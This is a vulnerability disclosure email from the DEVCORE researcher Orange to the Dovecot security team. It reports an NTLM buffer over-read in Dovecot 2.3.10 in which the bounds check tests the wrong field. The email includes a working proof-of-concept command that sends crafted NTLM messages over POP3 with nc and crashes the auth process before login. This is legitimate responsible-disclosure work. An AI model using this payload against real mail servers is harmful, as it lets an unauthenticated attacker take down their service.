Hi, Dovecot security team.

I am Orange from DEVCORE security team. We just did a little security audit on the authentication mechanism of Dovecot, and found a buffer over-read in NTLM implementation.

The structure of NTLM field is defined in ntlm-types.h

struct ntlmssp_buffer {
	uint16_t length;	/* length of the buffer */
	uint16_t space;		/* space allocated space for buffer */
	uint32_t offset;	/* data offset from the start of the message */
};

typedef struct ntlmssp_buffer ntlmssp_buffer_t;

The security checking is in ntlm-message.c

static bool ntlmssp_check_buffer(const struct ntlmssp_buffer *buffer,
				 size_t data_size, const char **error)
{
	uint32_t offset = read_le32(&buffer->offset);
	uint16_t length = read_le16(&buffer->length);
	uint16_t space = read_le16(&buffer->space);

	/* Empty buffer is ok */
	if (length == 0 && space == 0)
		return TRUE;

	if (offset >= data_size) {
		*error = "buffer offset out of bounds";
		return FALSE;
	}

	if (offset + space > data_size) {
		*error = "buffer end out of bounds";
		return FALSE;
	}

	return TRUE;
}

Before using the NTLM authentication input, Dovecot validates the NTLM message in ntlmssp_check_response(...) -> ntlmssp_check_buffer(...). The problem is Dovecot checks the field space for safety but uses field length as the actually length. In a nutshell, Dovecot checks the wrong field.

Due to this mistake, an attacker can specify an overlong length in NTLM message. For example, in mech-ntlm.c, Dovecot would like to retrieve the username from NTLM message, and the length is user controllable…

Here is a PoC for crashing the dove/auth process. We make a username field with length 0x4141. When Dovecot is copying 0x4141 bytes into heap, a SEGMENT FAULT happens because it reaches the end of the memory section.

> AA\x00\x00\x41\x00\x00\x00
> length = 0x4141
> space = 0x0000
> offset = 0x00000041

$ ps -ao pid,cmd | grep dovecot/auth
 24303 dovecot/auth

$ (echo 'AUTH NTLM'; echo -ne 'NTLMSSP\x00\x01\x00\x00\x00\x00\x02\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'| base64 -w0 ;echo ;echo -ne 'NTLMSSP\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00AA\x00\x00\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00orange\x00'|base64 -w0;echo ; echo QUIT)  | nc 127.0.0.1 110
+OK Dovecot ready.
+
+ YEkGCWCGSAGG+HMBAQMAIKZ57rqbPvt72/cCZ8HmlANewJ71bpyVpwX0E7zl2myBOGM2YWU4MWJmNjJjYWQAC3BvcDNAdWJ1bnR1
-ERR [AUTH] Authentication failed.


+OK Logging out

$  ps -ao pid,cmd | grep dovecot/auth
 24344 dovecot/auth

$ dmsg | tail -n 1
[130525.985669] auth[24303]: segfault at 5767e000 ip 0000000056690a98 sp 00000000fff61860 error 4 in auth[5664f000+6f000]

Our environment

We have tested this bug on Dovecot-Core 2.3.10, and our configuration is:

# 2.3.10 (): dovecot.conf
# OS: Linux 4.15.0-96-generic x86_64 Ubuntu 18.04.1 LTS
# Hostname: ubuntu
auth_mechanisms = plain login ntlm
default_internal_user = orange
default_login_user = orange
namespace inbox {
  inbox = yes
  location =
  mailbox Drafts {
    special_use = \Drafts
  }
  mailbox Junk {
    special_use = \Junk
  }
  mailbox Sent {
    special_use = \Sent
  }
  mailbox "Sent Messages" {
    special_use = \Sent
  }
  mailbox Trash {
    special_use = \Trash
  }
  prefix =
}
passdb {
  driver = shadow
}
userdb {
  driver = passwd
}

Impact

Although the length is user controllable, the good offset field checking rescues this. We can only make a crash. But please note, the crash is before the authentication, it means an attacker can crash the REMOTE Dovecot without a password.